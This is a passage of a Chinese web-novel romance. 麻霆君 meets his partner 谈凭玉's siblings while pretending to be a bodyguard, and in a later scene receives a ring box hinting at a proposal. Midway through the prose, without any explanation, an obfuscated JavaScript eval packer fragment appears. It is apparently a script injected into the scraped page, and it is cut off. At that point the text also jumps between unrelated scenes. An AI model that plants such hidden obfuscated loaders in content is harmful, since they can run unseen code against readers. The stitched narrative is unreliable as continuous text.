谈行一便道:“好了,我看你是个骗子,我要叫人把你赶出去了。” 麻霆君微微往后侧头,走廊上鸦雀无声,哪盼得出谈凭玉来解救他?简直心凉了半截。转过头来直面谈行一,道:“三爷,我们做保镖的不需要会太多外语。” “是吗?” “是啊。我刚刚讲得不恰当,比方说,我反应比较快,可以更好地保护……” “弟弟。”幽幽地打断,撞上麻霆君惊恐眼神,笑道,“你身上一股我弟弟的味道,当我闻不出来?” 麻霆君全然乱了阵脚,只知道谈家是个大家族:“您弟弟是?” “家里我排第三,只有一个弟弟。”谈行一慢慢爬向他,道,“你是我弟弟的什么人?” 门口身影一闪而过,麻霆君当是救命稻草来了,站也站不稳。不料谈行一更快,扑过去,道:“姐姐!” 他投进一个怀抱,拖着谈皎两根衣袋,半跪着向下滑。谈皎半屈膝盖,好不容易把他抱稳了,他挣扎着站起来。比比是比谈皎高出一大截。 谈皎仰头道:“小玉呢?单龙说他在香岛就吃一种酱油,家里从来没有,能不能换一种?” 谈行一道:“换醋都没问题,他哪吃得出来?” 谈皎笑道:“不一样的。” “就他事情多。”谈行一把谈皎牵来床边。谈皎搬椅子坐,他靠在谈皎肩头,指着麻霆君,道,“姐姐,就是他晚上和我弟弟睡觉。” 谈皎朝麻霆君瞟一眼,脸上愣着,似笑非笑,显然是认识他的。回来道:“可蕙心说他们两个掰了?” 麻霆君忙道:“没有!” 谈行一告状道:“他还装是家里新雇的保镖呢,净会撒谎。这种男的我看着不好。” 谈皎笑着刮他的鼻梁骨。末了关注到麻霆君,问道:“我弟弟呢?” 麻霆君发出弱小的声音:“他在卧室整理。” 心里苦恼不止:第一次见家人,不说大放异彩,至少也要落落大方,偏偏他表现得太差。这时候哆嗦着朝谈皎伸出一只手,其实也不大合时宜。道:“您好,我是麻霆君。” 谈皎也要和他握手,被谈行一打下来了,死死锁进棉被里。麻霆君尴尬站着不敢动,看见一张更加苍白的脸转了过来,更加失神。 “凭玉很早就有提起过你。”谈皎顿了顿,才道,“他是不是请你搬来住?闲置的卧室有很多,你看准了,叫人打扫出来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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麻霆君道:“这张看着不对,你有这么憔悴?” “我去了一趟鹭镇,以为再也见不到你了!”谈凭玉气鼓鼓道,“麻霆君,你学聪明了,我是做梦都想不出来你会装死!” 麻霆君笑道:“嗳,也就聪明这一回。” 谈凭玉道:“不准了。” 麻霆君保证道:“当然不准,以后眨眼睛都向你打报告。” 从香岛回来不过是前阵子的事情,好不容易哄来了麻霆君,没有闲心拍照。麻霆君看着余下的空白页数,不肯死心,道:“没了?” 谈凭玉便把相册用力地翻,给他扇风。 他往谈凭玉身后躲,道:“一张和我的都没有?” “马场那张拍的不好,你眼睛闭上了,我想你应该不喜欢,所以没留下来。” “是不应该。” “要是是以前——我在鹭镇是给四爷当情人的,最怕被发现,怎么好留照片?”谈凭玉笑道,“现在给五爷当情人了,是可以多拍点。” 一提到鹭镇,难免想起布店,难免想起阁楼里新搬进了只狐狸精。麻霆君想起谈凭玉从前消瘦身形,隐隐约约有些心疼,眼睛往下低,看谈凭玉正微笑。他感触更深。 “其实我还是想俞平。俞平是一种感觉,一种在鹭镇上自由自在无拘无束的感觉。我仔细想了想,你要知道,一个死去的人、一种失去的感觉,是永远没有办法被替代的。” 只见谈凭玉皱眉,麻霆君故作深沉摆摆手,道,“你不会懂的。” 谈凭玉道:“活腻了?” 麻霆君几乎从床上跳起来,立刻摆了张灿烂笑脸,道:“没有没有,怎么会活腻了呢?现在我的心只属于凭玉了,我多希望可以再活一千年。” 谈凭玉赏他白眼,他再嬉皮笑脸,强硬着要与谈凭玉十指相扣,把握在一起的手并到自己胸前:“你也和我一起,我们一起活一千年。” 谈凭玉懒洋洋地靠在他肩头,他轻轻晃着谈凭玉,温柔道:“一千年不够就一万年,我们永永远远都要在一起。” 谈凭玉笑道:“哄孩子呢。” 他笑得再温柔,轮到这时候,难免沾些讽刺,麻霆君不敢再叫他不放心自己,匆匆瞥他一眼,保证道:“我是真情流露,你也不会不要我的,我知道你肯定很舍不得我。” 看他太好看,便是白拣便宜不肯放过,又忍不住偷看一眼,道:“你是凭玉,我是霆君,我们天生一对呀。” 谈凭玉笑得没有章法,仰头陷在床铺里,两只脚高高翘着,抵着他的后背,把他往床下踹:“床头柜第二格,有只小盒子,你给我拿出来。” 麻霆君连忙往地上爬,心里暗暗担忧,外头眼里的奇珍异宝,落进谈家,不见得会放在心上,金条都当鹅卵石,若寻不出盒子在哪,又要讨一顿骂。 但是抽屉里空空落落,唯独盛一只珠宝盒,打开看见一抹蓝光璀璨,却明知故问。 “咦?” “意思是你现在可以跪下来,问我愿不愿意和你结婚了。”